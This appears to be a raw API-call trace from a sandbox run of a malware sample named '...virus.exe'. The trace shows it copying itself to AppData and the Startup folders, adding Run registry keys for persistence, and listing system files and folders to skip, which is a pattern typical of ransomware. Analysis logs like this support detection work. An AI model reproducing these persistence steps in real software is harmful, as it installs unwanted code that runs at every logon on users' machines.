0x0 [0162.499] RegCloseKey (hKey=0xa8) returned 0x0 [0162.499] GetProcessHeap () returned 0x6a0000 [0162.499] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b19a0 | out: hHeap=0x6a0000) returned 1 [0162.499] GetProcessHeap () returned 0x6a0000 [0162.499] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6b9e48 [0162.499] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x41fa14 | out: phkResult=0x41fa14*=0xa8) returned 0x0 [0162.499] RegQueryValueExW (in: hKey=0xa8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x41fa10, lpData=0x6ba678, lpcbData=0x41fa18*=0x14a | out: lpType=0x41fa10*=0x0, lpData=0x6ba678*=0x72, lpcbData=0x41fa18*=0x14a) returned 0x2 [0162.499] RegCloseKey (hKey=0xa8) returned 0x0 [0162.499] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x41fa28 | out: phkResult=0x41fa28*=0xa8) returned 0x0 [0162.499] RegQueryValueExW (in: hKey=0xa8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x41fa24, lpData=0x6ba678, lpcbData=0x41fa2c*=0x14a | out: lpType=0x41fa24*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x41fa2c*=0x78) returned 0x0 [0162.499] RegCloseKey (hKey=0xa8) returned 0x0 [0162.500] GetProcessHeap () returned 0x6a0000 [0162.500] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b9e48 | out: hHeap=0x6a0000) returned 1 [0162.500] GetProcessHeap () returned 0x6a0000 [0162.500] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6baec8 | out: hHeap=0x6a0000) returned 1 [0162.500] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpDst=0x6bacd8, nSize=0xf1 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x99 [0162.500] GetProcessHeap () returned 0x6a0000 [0162.500] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba5e0 | out: hHeap=0x6a0000) returned 1 [0162.500] GetProcessHeap () returned 0x6a0000 [0162.500] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4368 | out: hHeap=0x6a0000) returned 1 [0162.500] GetProcessHeap () returned 0x6a0000 [0162.500] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6b9e48 [0162.500] GetProcessHeap () returned 0x6a0000 [0162.500] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x12) returned 0x6bb1c8 [0162.500] GetProcessHeap () returned 0x6a0000 [0162.500] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x12) returned 0x6bb1e8 [0162.500] GetProcessHeap () returned 0x6a0000 [0162.500] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6baec8 [0162.500] GetProcessHeap () returned 0x6a0000 [0162.500] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6baec8 | out: hHeap=0x6a0000) returned 1 [0162.500] ExpandEnvironmentStringsW (in: lpSrc="spfs.txt", lpDst=0x6bb1c8, nSize=0x9 | out: lpDst="spfs.txt") returned 0x9 [0162.500] GetProcessHeap () returned 0x6a0000 [0162.500] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb1e8 | out: hHeap=0x6a0000) returned 1 [0162.500] GetProcessHeap () returned 0x6a0000 [0162.500] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b9e48 | out: hHeap=0x6a0000) returned 1 [0162.500] GetProcessHeap () returned 0x6a0000 [0162.500] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20a) returned 0x6ba5e0 [0162.500] GetProcessHeap () returned 0x6a0000 [0162.500] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20a) returned 0x6bb450 [0162.500] GetProcessHeap () returned 0x6a0000 [0162.500] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20a) returned 0x6bb668 [0162.500] GetProcessHeap () returned 0x6a0000 [0162.500] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20a) returned 0x6bb880 [0162.500] GetProcessHeap () returned 0x6a0000 [0162.500] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20a) returned 0x6bba98 [0162.500] GetProcessHeap () returned 0x6a0000 [0162.500] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20a) returned 0x6bbcb0 [0162.500] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6bb450, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0xa8 [0162.501] GetProcessHeap () returned 0x6a0000 [0162.501] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20a) returned 0x6bbec8 [0162.501] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6bbec8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0xa8 [0162.501] GetProcessHeap () returned 0x6a0000 [0162.501] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bbec8 | out: hHeap=0x6a0000) returned 1 [0162.501] GetProcessHeap () returned 0x6a0000 [0162.501] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20a) returned 0x6bbec8 [0162.501] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6bbec8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0xa8 [0162.501] GetProcessHeap () returned 0x6a0000 [0162.501] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bbec8 | out: hHeap=0x6a0000) returned 1 [0162.501] GetProcessHeap () returned 0x6a0000 [0162.501] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20a) returned 0x6bbec8 [0162.501] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6bbec8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0xa8 [0162.501] GetProcessHeap () returned 0x6a0000 [0162.501] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bbec8 | out: hHeap=0x6a0000) returned 1 [0162.502] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe"), bFailIfExists=0) returned 1 [0162.598] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x41fb0c | out: phkResult=0x41fb0c*=0xb0) returned 0x0 [0162.599] RegSetValueExW (hKey=0xb0, lpValueName="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus", Reserved=0x0, dwType=0x1, lpData=0x6bb880, cbData=0xf0) returned 0x5 [0162.599] RegCloseKey (hKey=0xb0) returned 0x0 [0162.599] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x41fb20 | out: phkResult=0x41fb20*=0xb0) returned 0x0 [0162.599] RegSetValueExW (in: hKey=0xb0, lpValueName="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe", cbData=0xf0 | out: lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe") returned 0x0 [0162.599] RegCloseKey (hKey=0xb0) returned 0x0 [0162.599] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\spfs.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\spfs.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\spfs.txt"), bFailIfExists=1) returned 0 [0162.600] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\spfs.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\spfs.txt")) returned 0xffffffff [0162.600] GetProcessHeap () returned 0x6a0000 [0162.600] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x134) returned 0x6baec8 [0162.600] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe"), lpNewFileName="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe"), bFailIfExists=1) returned 0 [0162.601] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\spfs.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt"), lpNewFileName="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt"), bFailIfExists=1) returned 0 [0162.601] GetFileAttributesW (lpFileName="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt")) returned 0xffffffff [0162.601] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe"), bFailIfExists=1) returned 0 [0162.601] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\spfs.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt"), bFailIfExists=1) returned 0 [0162.602] GetFileAttributesW (lpFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt")) returned 0xffffffff [0162.602] GetProcessHeap () returned 0x6a0000 [0162.602] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6baec8 | out: hHeap=0x6a0000) returned 1 [0162.602] GetProcessHeap () returned 0x6a0000 [0162.602] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb1c8 | out: hHeap=0x6a0000) returned 1 [0162.602] GetProcessHeap () returned 0x6a0000 [0162.602] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba5e0 | out: hHeap=0x6a0000) returned 1 [0162.602] GetProcessHeap () returned 0x6a0000 [0162.602] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb450 | out: hHeap=0x6a0000) returned 1 [0162.602] GetProcessHeap () returned 0x6a0000 [0162.602] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb668 | out: hHeap=0x6a0000) returned 1 [0162.602] GetProcessHeap () returned 0x6a0000 [0162.602] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb880 | out: hHeap=0x6a0000) returned 1 [0162.602] GetProcessHeap () returned 0x6a0000 [0162.602] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bba98 | out: hHeap=0x6a0000) returned 1 [0162.602] GetProcessHeap () returned 0x6a0000 [0162.602] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bbcb0 | out: hHeap=0x6a0000) returned 1 [0162.602] GetProcessHeap () returned 0x6a0000 [0162.602] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb160 | out: hHeap=0x6a0000) returned 1 [0162.602] GetProcessHeap () returned 0x6a0000 [0162.602] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6afbb0 | out: hHeap=0x6a0000) returned 1 [0162.602] GetProcessHeap () returned 0x6a0000 [0162.602] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bacd8 | out: hHeap=0x6a0000) returned 1 [0162.602] GetProcessHeap () returned 0x6a0000 [0162.602] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6b9e48 [0162.602] GetProcessHeap () returned 0x6a0000 [0162.602] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6b9e20 [0162.602] GetProcessHeap () returned 0x6a0000 [0162.602] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6b9e70 [0162.602] GetProcessHeap () returned 0x6a0000 [0162.603] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bb160 [0162.603] GetProcessHeap () returned 0x6a0000 [0162.603] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb160 | out: hHeap=0x6a0000) returned 1 [0162.603] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6b9e20, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0162.603] GetProcessHeap () returned 0x6a0000 [0162.603] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b9e70 | out: hHeap=0x6a0000) returned 1 [0162.603] GetProcessHeap () returned 0x6a0000 [0162.603] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b9e48 | out: hHeap=0x6a0000) returned 1 [0162.603] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x41fb34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x41fb34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0162.603] GetProcessHeap () returned 0x6a0000 [0162.603] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b9e20 | out: hHeap=0x6a0000) returned 1 [0162.603] GetProcessHeap () returned 0x6a0000 [0162.603] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6bb160 [0162.603] GetProcessHeap () returned 0x6a0000 [0162.603] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6b19a0 [0162.603] GetProcessHeap () returned 0x6a0000 [0162.603] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x190) returned 0x6bacd8 [0162.603] GetProcessHeap () returned 0x6a0000 [0162.603] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x70) returned 0x6bb190 [0162.603] GetProcessHeap () returned 0x6a0000 [0162.603] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x6a) returned 0x6bae70 [0162.603] GetProcessHeap () returned 0x6a0000 [0162.603] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6bae70, Size=0xd2) returned 0x6bae70 [0162.603] GetProcessHeap () returned 0x6a0000 [0162.603] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x184) returned 0x6ba5e0 [0162.603] GetProcessHeap () returned 0x6a0000 [0162.603] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6b19d0 [0162.603] GetProcessHeap () returned 0x6a0000 [0162.604] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20a) returned 0x6ba770 [0162.604] GetProcessHeap () returned 0x6a0000 [0162.604] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x250) returned 0x6bb450 [0162.604] GetProcessHeap () returned 0x6a0000 [0162.604] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa0) returned 0x6baf50 [0162.604] GetProcessHeap () returned 0x6a0000 [0162.604] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x96) returned 0x6bb6a8 [0162.604] GetProcessHeap () returned 0x6a0000 [0162.604] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x96) returned 0x6bb748 [0162.604] GetProcessHeap () returned 0x6a0000 [0162.604] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bb7e8 [0162.604] GetProcessHeap () returned 0x6a0000 [0162.604] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb7e8 | out: hHeap=0x6a0000) returned 1 [0162.604] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;spfs.txt", lpDst=0x6bb6a8, nSize=0x4b | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;spfs.txt") returned 0x4b [0162.604] GetProcessHeap () returned 0x6a0000 [0162.604] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb748 | out: hHeap=0x6a0000) returned 1 [0162.604] GetProcessHeap () returned 0x6a0000 [0162.604] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6baf50 | out: hHeap=0x6a0000) returned 1 [0162.604] GetProcessHeap () returned 0x6a0000 [0162.604] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x70) returned 0x6ba988 [0162.604] GetProcessHeap () returned 0x6a0000 [0162.604] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x62) returned 0x6baf50 [0162.604] GetProcessHeap () returned 0x6a0000 [0162.604] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x62) returned 0x6bafc0 [0162.604] GetProcessHeap () returned 0x6a0000 [0162.604] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bb748 [0162.604] GetProcessHeap () returned 0x6a0000 [0162.604] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb748 | out: hHeap=0x6a0000) returned 1 [0162.604] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x6baf50, nSize=0x31 | out: lpDst="C:\\Windows;C:\\ProgramData\\microsoft\\windows\\cach") returned 0x34 [0162.604] GetProcessHeap () returned 0x6a0000 [0162.604] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bafc0 | out: hHeap=0x6a0000) returned 1 [0162.604] GetProcessHeap () returned 0x6a0000 [0162.604] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6baf50, Size=0xc2) returned 0x6baf50 [0162.604] GetProcessHeap () returned 0x6a0000 [0162.605] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc2) returned 0x6bb748 [0162.605] GetProcessHeap () returned 0x6a0000 [0162.605] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bb818 [0162.605] GetProcessHeap () returned 0x6a0000 [0162.605] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb818 | out: hHeap=0x6a0000) returned 1 [0162.605] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x6baf50, nSize=0x61 | out: lpDst="C:\\Windows;C:\\ProgramData\\microsoft\\windows\\caches;") returned 0x34 [0162.605] GetProcessHeap () returned 0x6a0000 [0162.605] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb748 | out: hHeap=0x6a0000) returned 1 [0162.605] GetProcessHeap () returned 0x6a0000 [0162.605] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba988 | out: hHeap=0x6a0000) returned 1 [0162.605] GetProcessHeap () returned 0x6a0000 [0162.605] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20a) returned 0x6bb748 [0162.605] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6bb748, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0xa8 [0162.605] GetProcessHeap () returned 0x6a0000 [0162.605] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb748 | out: hHeap=0x6a0000) returned 1 [0162.605] GetProcessHeap () returned 0x6a0000 [0162.605] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x24e) returned 0x6bb748 [0162.605] GetProcessHeap () returned 0x6a0000 [0162.605] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6bb748, Size=0x3cc) returned 0x6bb748 [0162.605] GetProcessHeap () returned 0x6a0000 [0162.605] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x98) returned 0x6bbb20 [0162.605] GetProcessHeap () returned 0x6a0000 [0162.605] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6bbb20, Size=0x132) returned 0x6bbb20 [0162.605] GetProcessHeap () returned 0x6a0000 [0162.605] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x6a) returned 0x6ba988 [0162.605] GetProcessHeap () returned 0x6a0000 [0162.605] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba770 | out: hHeap=0x6a0000) returned 1 [0162.605] GetProcessHeap () returned 0x6a0000 [0162.606] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb450 | out: hHeap=0x6a0000) returned 1 [0162.624] GetProcessHeap () returned 0x6a0000 [0162.624] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb6a8 | out: hHeap=0x6a0000) returned 1 [0162.624] GetProcessHeap () returned 0x6a0000 [0162.624] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6baf50 | out: hHeap=0x6a0000) returned 1 [0162.624] GetProcessHeap () returned 0x6a0000 [0162.624] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b19a0 | out: hHeap=0x6a0000) returned 1 [0162.624] GetProcessHeap () returned 0x6a0000 [0162.624] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bacd8 | out: hHeap=0x6a0000) returned 1 [0162.624] GetProcessHeap () returned 0x6a0000 [0162.624] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb190 | out: hHeap=0x6a0000) returned 1 [0162.624] GetProcessHeap () returned 0x6a0000 [0162.624] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba5e0 | out: hHeap=0x6a0000) returned 1 [0162.624] GetProcessHeap () returned 0x6a0000 [0162.624] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6b9e20 [0162.624] GetProcessHeap () returned 0x6a0000 [0162.624] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6b9e48 [0162.624] GetProcessHeap () returned 0x6a0000 [0162.624] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6b9e70 [0162.624] GetProcessHeap () returned 0x6a0000 [0162.624] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bb190 [0162.625] GetProcessHeap () returned 0x6a0000 [0162.625] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb190 | out: hHeap=0x6a0000) returned 1 [0162.625] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6b9e48, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0162.625] GetProcessHeap () returned 0x6a0000 [0162.625] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b9e70 | 